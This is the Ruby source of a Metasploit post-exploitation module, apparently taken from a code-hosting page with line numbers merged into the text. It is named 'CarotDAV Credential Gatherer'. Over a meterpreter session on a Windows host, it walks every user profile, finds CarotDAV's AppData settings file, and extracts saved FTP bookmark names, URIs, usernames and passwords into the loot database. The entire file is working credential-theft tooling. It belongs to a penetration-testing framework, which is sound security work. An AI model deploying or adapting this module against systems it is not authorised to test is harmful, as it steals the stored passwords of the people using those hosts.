Path: blob/master/modules/post/windows/gather/credentials/carotdav_ftp.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'CarotDAV',12app_category: 'FTP',13gatherable_artifacts: [14{15filetypes: 'logins',16path: 'AppData',17dir: 'Rei Software',18artifact_file_name: 'Setting',19description: 'Saved Bookmarks',20credential_type: 'xml',21xml_search: [22{23extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',24extraction_type: 'credentials',25xml: [26'//Name',27'//TargetUri',28'//UserName',29'//Password'30]31}32]33}34]35}.freeze3637def initialize(info = {})38super(39update_info(40info,41'Name' => 'CarotDAV Credential Gatherer',42'Description' => %q{43This module searches for credentials stored on CarotDAV FTP Client on a Windows host.44},45'License' => MSF_LICENSE,46'Author' => [47'Jacob Tierney',48'Kazuyoshi Maruta',49'Daniel Hallsworth',50'Barwar Salim M',51'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org52],53'Platform' => ['win'],54'SessionTypes' => ['meterpreter'],55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [],58'SideEffects' => []59}60)61)6263register_options(64[65OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),66OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),67# enumerates the options based on the artifacts that are defined below68OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])69]70)71end7273def run74print_status('Filtering based on these selections: ')75print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")76print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")77print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")7879# used to grab files for each user on the remote host80grab_user_profiles.each do |userprofile|81run_packrat(userprofile, ARTIFACTS)82end8384print_status 'PackRat credential sweep completed'85end86end878889